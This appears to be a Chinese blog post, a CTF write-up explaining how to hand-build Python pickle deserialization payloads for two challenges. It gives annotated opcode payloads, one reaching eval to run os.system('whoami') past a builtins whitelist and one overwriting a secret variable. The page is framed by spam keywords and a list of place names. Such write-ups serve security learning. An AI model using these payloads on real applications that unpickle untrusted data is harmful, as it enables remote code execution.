最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

python pickle從零構(gòu)造反序列化攻擊利用

2020-11-15 18:36 作者:小小小狗  | 我要投稿

有一篇很好的文章對此講的很詳細(xì)

https://xz.aliyun.com/t/7436#toc-0

此外我對文章中的手寫反序列化一塊進(jìn)行一些補(bǔ)充


幾道例題

Code-Breaking:picklecode

原payload:

b'''cbuiltins

getattr

p0

(cbuiltins

dict

S'get'

tRp1

cbuiltins

globals

)Rp2

00g1

(g2

S'builtins'

tRp3

0g0

(g3

S'eval'

tR(S'__import__("os").system("whoami")'

tR.

'''(建議復(fù)制到python去看)

首先要聲明的一點(diǎn)是反序列化的利用棧是從底端往上的,清楚匯編的同學(xué)應(yīng)該了解這一點(diǎn)


我的注解

b'''白名單REC

cbuiltins #import

getattr ? #獲取builtins白名單方法getattr

p0 ? #將getattr壓入mem0,字典保存


(cbuiltins? ? mark元素c模塊builtins方法dict壓棧

dict

S'get' ? 聲明元素字符串'get'

tRp1 ??

# 創(chuàng)建元組(builtins.dict,'get')調(diào)用getattr(dict,get)并將結(jié)果壓入mem0,保存為1號元素


cbuiltins?

globals ? #獲取builtins屬性globals

)Rp2

# 創(chuàng)建一個空元組,調(diào)用globals(), 結(jié)果壓入mem,保存為2號元素


00g1 #去除棧頂兩個元素,將mem1號元素壓棧,為dict.get

(g2? #mark g2 取出mem中2號元素壓棧并mark,為globals()結(jié)果?


S'builtins' # 定義字符串對象'builtins'

tRp3

# dict.get(globals(),'builtins')并將結(jié)果壓入mem3空間。(windows這里實(shí)測需要__builtins__


0g0 #清棧,載入g0 getattr

(g3? # 載入g3并mark

S'eval'

tR

# getattr(builtins,'eval')結(jié)果壓棧? ?

(S'__import__("os").system("whoami")'

tR.

# 壓入字符串,命令執(zhí)行

'''

高校戰(zhàn)疫網(wǎng)絡(luò)安全分享賽:webtmp

原payload:


b'''c__main__

secret

(S'name'

S"1"

S"category"

S"2"

db0(S"1"

S"2"

i__main__

Animal

.'''


我的注解

b'''變量覆蓋題

c__main__? #導(dǎo)入主模塊

secret # 主模塊的secret

(S'name'

S"1"

S"category"

S"2"

db0

#d 定義了個字典

#b 覆蓋掉secret中的同名字段

#0 清棧

(S"1"

S"2"

i__main__

Animal

#調(diào)用驗(yàn)證方法,這就是題目中的驗(yàn)證類了,盲猜類使用了__main__.secret做驗(yàn)證

.'''


python pickle從零構(gòu)造反序列化攻擊利用的評論 (共 條)

分享到微博請遵守國家法律
淮安市| 五指山市| 杭锦后旗| 廊坊市| 元谋县| 上高县| 绥德县| 安徽省| 阿鲁科尔沁旗| 垫江县| 文昌市| 肥城市| 濉溪县| 曲周县| 香格里拉县| 嵊州市| 山阳县| 桑植县| 霍林郭勒市| 大英县| 郯城县| 江北区| 庆元县| 化州市| 大同县| 嫩江县| 宝山区| 建水县| 麟游县| 舒城县| 金川县| 舟山市| 烟台市| 开阳县| 怀仁县| 涟源市| 子长县| 连云港市| 甘泉县| 绥江县| 长宁县|